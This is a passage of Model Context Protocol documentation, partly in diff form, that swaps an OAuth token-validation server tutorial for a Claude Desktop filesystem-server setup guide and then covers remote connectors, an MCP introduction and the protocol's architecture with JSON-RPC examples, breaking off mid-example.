this: + Click the "Edit Config" button to open the configuration file: -```json theme={null} -{ - "alg": "RS256", - "typ": "JWT", - "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys" -}.{ - "exp": 1755540817, - "iat": 1755540757, - "auth_time": 1755538888, - "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8", - "iss": "http://localhost:8080/realms/master", - "aud": "http://localhost:3000", - "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9", - "typ": "Bearer", - "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974", - "sid": "8f7ec276-358f-4ccc-b313-db08290f376f", - "scope": "mcp:tools" -}.[Signature] -``` + + Developer settings showing Edit Config button + - - **Embedded Audience** + This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at: - Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate. - + * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json` + * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json` + -### MCP Server Setup + + Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories: -We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/sdk). + + ```json macOS theme={null} + { + "mcpServers": { + "filesystem": { + "command": "npx", + "args": [ + "-y", + "@modelcontextprotocol/server-filesystem", + "/Users/username/Desktop", + "/Users/username/Downloads" + ] + } + } + } + ``` -For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these. + ```json Windows theme={null} + { + "mcpServers": { + "filesystem": { + "command": "npx", + "args": [ + "-y", + "@modelcontextprotocol/server-filesystem", + "C:\\Users\\username\\Desktop", + "C:\\Users\\username\\Downloads" + ] + } + } + } + ``` + - - - You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth). + Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed. - Prior to running the code below, ensure that you have a `.env` file with the following content: + + **Understanding the Configuration** - ```env theme={null} - # Server host/port - HOST=localhost - PORT=3000 + * `"filesystem"`: A friendly name for the server that appears in Claude Desktop + * `"command": "npx"`: Uses Node.js's npx tool to run the server + * `"-y"`: Automatically confirms the installation of the server package + * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server + * The remaining arguments: Directories the server is allowed to access + - # Auth server location - AUTH_HOST=localhost - AUTH_PORT=8080 - AUTH_REALM=master + + **Security Consideration** - # Keycloak OAuth client credentials - OAUTH_CLIENT_ID= - OAUTH_CLIENT_SECRET= - ``` + Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually. + + - `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier. + + After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server. - In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues. + Upon successful restart, you'll see an MCP server indicator in the bottom-right corner of the conversation input box: - ```typescript theme={null} - import "dotenv/config"; - import express from "express"; - import { randomUUID } from "node:crypto"; - import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; - import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; - import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js"; - import { z } from "zod"; - import cors from "cors"; - import { - mcpAuthMetadataRouter, - getOAuthProtectedResourceMetadataUrl, - } from "@modelcontextprotocol/sdk/server/auth/router.js"; - import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js"; - import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js"; - import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js"; - const CONFIG = { - host: process.env.HOST || "localhost", - port: Number(process.env.PORT) || 3000, - auth: { - host: process.env.AUTH_HOST || process.env.HOST || "localhost", - port: Number(process.env.AUTH_PORT) || 8080, - realm: process.env.AUTH_REALM || "master", - clientId: process.env.OAUTH_CLIENT_ID || "mcp-server", - clientSecret: process.env.OAUTH_CLIENT_SECRET || "", - }, - }; + + Claude Desktop interface showing MCP server indicator + - function createOAuthUrls() { - const authBaseUrl = new URL( - `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`, - ); - return { - issuer: authBaseUrl.toString(), - introspection_endpoint: new URL( - "protocol/openid-connect/token/introspect", - authBaseUrl, - ).toString(), - authorization_endpoint: new URL( - "protocol/openid-connect/auth", - authBaseUrl, - ).toString(), - token_endpoint: new URL( - "protocol/openid-connect/token", - authBaseUrl, - ).toString(), - }; - } + Click on this indicator to view the available tools provided by the Filesystem Server: - function createRequestLogger() { - return (req: any, res: any, next: any) => { - const start = Date.now(); - res.on("finish", () => { - const ms = Date.now() - start; - console.log( - `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`, - ); - }); - next(); - }; - } + + Available filesystem tools in Claude Desktop + - const app = express(); + If the server indicator doesn't appear, refer to the [Troubleshooting](#troubleshooting) section for debugging steps. + + - app.use( - express.json({ - verify: (req: any, _res, buf) => { - req.rawBody = buf?.toString() ?? ""; - }, - }), - ); +## Using the Filesystem Server - app.use( - cors({ - origin: "*", - exposedHeaders: ["Mcp-Session-Id"], - }), - ); +With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities: - app.use(createRequestLogger()); +### File Management Examples - const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`); - const oauthUrls = createOAuthUrls(); +* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop +* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents +* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it - const oauthMetadata: OAuthMetadata = { - ...oauthUrls, - response_types_supported: ["code"], - }; +### How Approval Works - const tokenVerifier = { - verifyAccessToken: async (token: string) => { - const endpoint = oauthMetadata.introspection_endpoint; +Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions: - if (!endpoint) { - console.error("[auth] no introspection endpoint in metadata"); - throw new Error("No token verification endpoint available in metadata"); - } + + Claude requesting approval to perform a file operation + - const params = new URLSearchParams({ - token: token, - client_id: CONFIG.auth.clientId, - }); +Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action. - if (CONFIG.auth.clientSecret) { - params.set("client_secret", CONFIG.auth.clientSecret); - } +## Troubleshooting - let response: Response; - try { - response = await fetch(endpoint, { - method: "POST", - headers: { - "Content-Type": "application/x-www-form-urlencoded", - }, - body: params.toString(), - }); - } catch (e) { - console.error("[auth] introspection fetch threw", e); - throw e; - } +If you encounter issues setting up or using the Filesystem Server, these solutions address common problems: - if (!response.ok) { - const txt = await response.text(); - console.error("[auth] introspection non-OK", { status: response.status }); + + + 1. Restart Claude Desktop completely + 2. Check your `claude_desktop_config.json` file syntax + 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative + 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting + 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors: - try { - const obj = JSON.parse(txt); - console.log(JSON.stringify(obj, null, 2)); - } catch { - console.error(txt); - } - throw new Error(`Invalid or expired token: ${txt}`); - } + + ```bash macOS/Linux theme={null} + npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads + ``` - let data: any; - try { - data = await response.json(); - } catch (e) { - const txt = await response.text(); - console.error("[auth] failed to parse introspection JSON", { - error: String(e), - body: txt, - }); - throw e; - } + ```powershell Windows theme={null} + npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads + ``` + + - if (data.active === false) { - throw new Error("Inactive token"); - } + + Claude.app logging related to MCP is written to log files in: - if (!data.aud) { - throw new Error("Resource indicator (aud) missing"); - } + * macOS: `~/Library/Logs/Claude` - const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud]; - const allowed = audiences.some((a) => - checkResourceAllowed({ - requestedResource: a, - configuredResource: mcpServerUrl, - }), - ); - if (!allowed) { - throw new Error( - `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`, - ); - } + * Windows: `%APPDATA%\Claude\logs` - return { - token, - clientId: data.client_id, - scopes: data.scope ? data.scope.split(" ") : [], - expiresAt: data.exp, - }; - }, - }; - app.use( - mcpAuthMetadataRouter({ - oauthMetadata, - resourceServerUrl: mcpServerUrl, - scopesSupported: ["mcp:tools"], - resourceName: "MCP Demo Server", - }), - ); + * `mcp.log` will contain general logging about MCP connections and connection failures. - const authMiddleware = requireBearerAuth({ - verifier: tokenVerifier, - requiredScopes: [], - resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl), - }); + * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server. - const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {}; + You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs): - function createMcpServer() { - const server = new McpServer({ - name: "example-server", - version: "1.0.0", - }); + + ```bash macOS/Linux theme={null} + tail -n 20 -f ~/Library/Logs/Claude/mcp*.log + ``` - server.registerTool( - "add", - { - title: "Addition Tool", - description: "Add two numbers together", - inputSchema: { - a: z.number().describe("First number to add"), - b: z.number().describe("Second number to add"), - }, - }, - async ({ a, b }) => ({ - content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }], - }), - ); + ```powershell Windows theme={null} + type "%APPDATA%\Claude\logs\mcp*.log" + ``` + + - server.registerTool( - "multiply", - { - title: "Multiplication Tool", - description: "Multiply two numbers together", - inputSchema: { - x: z.number().describe("First number to multiply"), - y: z.number().describe("Second number to multiply"), - }, - }, - async ({ x, y }) => ({ - content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }], - }), - ); + + If Claude attempts to use the tools but they fail: - return server; - } + 1. Check Claude's logs for errors + 2. Verify your server builds and runs without errors + 3. Try restarting Claude Desktop + - const mcpPostHandler = async (req: express.Request, res: express.Response) => { - const sessionId = req.headers["mcp-session-id"] as string | undefined; - let transport: StreamableHTTPServerTransport; + + Please refer to our [debugging guide](/docs/tools/debugging) for better debugging tools and more detailed guidance. + - if (sessionId && transports[sessionId]) { - transport = transports[sessionId]; - } else if (!sessionId && isInitializeRequest(req.body)) { - transport = new StreamableHTTPServerTransport({ - sessionIdGenerator: () => randomUUID(), - onsessioninitialized: (sessionId) => { - transports[sessionId] = transport; - }, + + If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`: + + ```json theme={null} + { + "brave-search": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-brave-search"], + "env": { + "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\", + "BRAVE_API_KEY": "..." + } + } + } + ``` + + With this change in place, launch Claude Desktop once again. + + + **npm should be installed globally** + + The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command: + + ```bash theme={null} + npm install -g npm + ``` + + + + +## Next Steps + +Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup: + + + + Browse our collection of official and community-created MCP servers for + additional capabilities + + + + Create custom MCP servers tailored to your specific workflows and + integrations + + + + Learn how to connect Claude to remote MCP servers for cloud-based tools and + services + + + + Dive deeper into how MCP works and its architecture + + + + +# Connect to remote MCP Servers +Source: https://modelcontextprotocol.io/docs/develop/connect-remote-servers + +Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources + +Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources. + +Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the [many clients that support MCP](/clients). While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients. + +## Understanding Remote MCP Servers + +Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service. + +The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication. + +## What are Custom Connectors? + +Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools. + +With Custom Connectors, you can: + +* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers +* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers) + +## Connecting to a Remote MCP Server + +The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server. + + + + Open Claude in your browser and navigate to the settings page. You can access this by clicking on your profile icon and selecting "Settings" from the dropdown menu. Once in settings, locate and click on the "Connectors" section in the sidebar. + + This will display your currently configured connectors and provide options to add new ones. + + + + In the Connectors section, scroll to the bottom where you'll find the "Add custom connector" button. Click this button to begin the connection process. + + + Add custom connector button in Claude settings + + + A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components. + + + Dialog for entering remote MCP server URL + + + After entering the URL, click "Add" to proceed with the connection. + + + + Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations. + + + Authentication screen for remote MCP server + + + Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server. + + + + After successful connection, the remote server's resources and prompts become available in your Claude conversations. You can access these by clicking the paperclip icon in the message input area, which opens the attachment menu. + + + Attachment menu showing available resources + + + The menu displays all available resources and prompts from your connected servers. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools. + + + Selecting specific resources and prompts from the menu + + + + + Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized. + + + Tool permission configuration interface + + + Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs. + + + +## Best Practices for Using Remote MCP Servers + +When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience: + +**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems. + +**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure. + +## Next Steps + +Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows. + + + + Create custom remote MCP servers to integrate with proprietary tools and + services + + + + Browse our collection of official and community-created MCP servers + + + + Learn how to connect Claude Desktop to local MCP servers for direct system + access + + + + Dive deeper into how MCP works and its architecture + + + +Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently. + + +# What is the Model Context Protocol (MCP)? +Source: https://modelcontextprotocol.io/docs/getting-started/intro + + + +MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems. + +Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks. + +Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems. + + + + + +## What can MCP enable? + +* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant. +* Claude Code can generate an entire web app using a Figma design. +* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat. +* AI models can create 3D designs on Blender and print them out using a 3D printer. + +## Why does MCP matter? + +Depending on where you sit in the ecosystem, MCP can have a range of benefits. + +* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent. +* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience. +* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary. + +## Broad ecosystem support + +MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and [many others](/clients) all support MCP — making it easy to build once and integrate everywhere. + +## Start Building + + + + Create MCP servers to expose your data and tools + + + + Develop applications that connect to MCP servers + + + + Build interactive apps that run inside AI clients + + + +## Learn more + + + + Learn the core concepts and architecture of MCP + + + + +# Architecture overview +Source: https://modelcontextprotocol.io/docs/learn/architecture + + + +This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept. + +Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application. + +For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/sdk). + +## Scope + +The Model Context Protocol includes the following projects: + +* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers. +* [MCP SDKs](/docs/sdk): SDKs for different programming languages that implement MCP. +* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector) +* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers. + + + MCP focuses solely on the protocol for context exchange—it does not dictate + how AI applications use LLMs or manage the provided context. + + +## Concepts of MCP + +### Participants + +MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server. + +Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients. + +The key participants in the MCP architecture are: + +* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients +* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use +* **MCP Server**: A program that provides context to MCP clients + +**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server. +When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection. + +```mermaid theme={null} +graph TB + subgraph "MCP Host (AI Application)" + Client1["MCP Client 1"] + Client2["MCP Client 2"] + Client3["MCP Client 3"] + Client4["MCP Client 4"] + end + + ServerA["MCP Server A - Local
(e.g. Filesystem)"] + ServerB["MCP Server B - Local
(e.g. Database)"] + ServerC["MCP Server C - Remote
(e.g. Sentry)"] + + Client1 ---|"Dedicated
connection"| ServerA + Client2 ---|"Dedicated
connection"| ServerB + Client3 ---|"Dedicated
connection"| ServerC + Client4 ---|"Dedicated
connection"| ServerC +``` + +Note that **MCP server** refers to the program that serves context data, regardless of +where it runs. MCP servers can execute locally or remotely. For example, when +Claude Desktop launches the [filesystem +server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), +the server runs locally on the same machine because it uses the STDIO +transport. This is commonly referred to as a "local" MCP server. The official +[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the +Sentry platform, and uses the Streamable HTTP transport. This is commonly +referred to as a "remote" MCP server. + +### Layers + +MCP consists of two layers: + +* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including lifecycle management, and core primitives, such as tools, resources, prompts and notifications. +* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization. + +Conceptually the data layer is the inner layer, while the transport layer is the outer layer. + +#### Data layer + +The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics. +This layer includes: + +* **Lifecycle management**: Handles connection initialization, capability negotiation, and connection termination between clients and servers +* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client +* **Client features**: Enables servers to ask the client to sample from the host LLM, elicit input from the user, and log messages to the client +* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations + +#### Transport layer + +The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants. + +MCP supports two transport mechanisms: + +* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead. +* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens. + +The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms. + +### Data Layer Protocol + +A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients. + +MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required. + +#### Lifecycle management + +MCP is a stateful protocol that requires lifecycle management. The purpose of lifecycle management is to negotiate the capabilities that both client and server support. Detailed information can be found in the [specification](/specification/latest/basic/lifecycle), and the [example](#example) showcases the initialization sequence. + +#### Primitives + +MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed. + +MCP defines three core primitives that *servers* can expose: + +* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries) +* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses) +* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples) + +Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`). +MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic. + +As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools. + +For more details about server primitives see [server concepts](./server-concepts). + +MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions. + +* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. They can use the `sampling/complete` method to request a language model completion from the client's AI application. +* **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. They can use the `elicitation/request` method to request additional information from the user. +* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes. + +For more details about client primitives see [client concepts](./client-concepts). + +Besides server and client primitives, the protocol offers cross-cutting utility primitives that augment how requests are executed: + +* **Tasks (Experimental)**: Durable execution wrappers that enable deferred result retrieval and status tracking for MCP requests (e.g., expensive computations, workflow automation, batch processing, multi-step operations) + +#### Notifications + +The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change—such as when new functionality becomes available or existing tools are modified—the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response) and enable MCP servers to provide real-time updates to connected clients. + +## Example + +### Data Layer + +This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate the lifecycle sequence, tool operations, and notifications using JSON-RPC 2.0 messages. + + + + MCP begins with lifecycle management through a capability negotiation handshake. As described in the [lifecycle management](#lifecycle-management) section, the client sends an `initialize` request to establish the connection and negotiate supported features. + + + ```json Initialize Request theme={null} + { + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": { + "protocolVersion": "2025-06-18", + "capabilities": { + "elicitation": {} + }, + "clientInfo": { + "name": "example-client", + "version": "1.0.0" + } + } + } + ``` + + ```json Initialize Response theme={null} + { + "jsonrpc": "2.0", + "id": 1, + "result": { + "protocolVersion": "2025-06-18", + "capabilities": { + "tools": { + "listChanged": true + }, + "resources": {} + }, + "serverInfo": { + "name": "example-server", + "version": "1.0.0" + } + } + } + ``` + + + #### Understanding the Initialization Exchange + + The initialization process is a key part of MCP's lifecycle management and serves several critical purposes: + + 1. **Protocol Version Negotiation**: The `protocolVersion` field (e.g., "2025-06-18") ensures both client and server are using compatible protocol versions. This prevents communication errors that could occur when different versions attempt to interact. If a mutually compatible version is not negotiated, the connection should be terminated. + + 2. **Capability Discovery**: The `capabilities` object allows each party to declare what features they support, including which [primitives](#primitives) they can handle (tools, resources, prompts) and whether they support features like [notifications](#notifications). This enables efficient communication by avoiding unsupported operations. + + 3. **Identity Exchange**: The `clientInfo` and `serverInfo` objects provide identification and versioning information for debugging and compatibility purposes. + + In this example, the capability negotiation demonstrates how MCP primitives are declared: + + **Client Capabilities**: + + * `"elicitation": {}` - The client declares it can work with user interaction requests (can receive `elicitation/create` method calls) + + **Server Capabilities**: + + * `"tools": {"listChanged": true}` - The server supports the tools primitive AND can send `tools/list_changed` notifications when its tool list changes + * `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods) + + After successful initialization, the client sends a notification to indicate it's ready: + + ```json Notification theme={null} + { + "jsonrpc": "2.0", + "method": "notifications/initialized" + } + ``` + + #### How This Works in AI Applications + + During initialization, the AI application's MCP client manager establishes connections to configured servers and stores their capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates. + + ```python Pseudo-code for AI application initialization theme={null} + # Pseudo Code + async with stdio_client(server_config) as (read, write): + async with ClientSession(read, write) as session: + init_response = await session.initialize() + if init_response.capabilities.tools: + app.register_mcp_server(session, supports_tools=True) + app.set_server_ready(session) + ``` + + + + Now that the connection is established, the client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism — it allows clients to understand what tools are available on the server before attempting to use them. + + + ```json Tools List Request theme={null} + { + "jsonrpc": "2.0", + "id": 2, + "method": "tools/list" + } + ``` + + ```json Tools List Response theme={null} + { + "jsonrpc": "2.0", + "id": 2, + "result": { + "tools": [ + { + "name": "calculator_arithmetic", + "title": "Calculator", + "description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations", + "inputSchema": { + "type": "object", + "properties": { + "expression": { + "type": "string", + "description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')" + } + }, + "required": ["expression"] + } + }, + { + "name": "weather_current", + "title": "Weather Information", + "description": "Get current weather information for any location worldwide", + "inputSchema": { + "type": "object", + "properties": { + "location": { + "type": "string", + "description": "City name, address, or coordinates (latitude,longitude)" + }, + "units": { + "type": "string", + "enum": ["metric", "imperial", "kelvin"], + "description": "Temperature units to use in response", + "default": "metric" + } + }, + "required": ["location"] + } + } + ] + } + } + ``` + + + #### Understanding the Tool Discovery Request + + The `tools/list` request is simple, containing no parameters. + + #### Understanding the Tool Discovery Response + + The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities. + + Each tool object in the response includes several key fields: + + * **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`) + * **`title`**: A human-readable display name for the tool that clients can show to users + * **`description`**: Detailed explanation of what the tool does and when to use it + * **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters + + #### How This Works in AI Applications + + The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations. + + ```python Pseudo-code for AI application tool discovery theme={null} + # Pseudo-code using MCP Python SDK patterns + available_tools = [] + for session in app.mcp_server_sessions(): + tools_response = await session.list_tools() + available_tools.extend(tools_response.tools) + conversation.register_available_tools(available_tools) + ``` + + + + The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments. + + #### Understanding the Tool Execution Request + + The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name: + + + ```json Tool Call Request theme={null} + { + "jsonrpc": "2.0", + "id": 3, + "method": "tools/call", + "params": { + "name": "weather_current", + "arguments": { + "location": "San Francisco", + "units": "imperial" + } + } 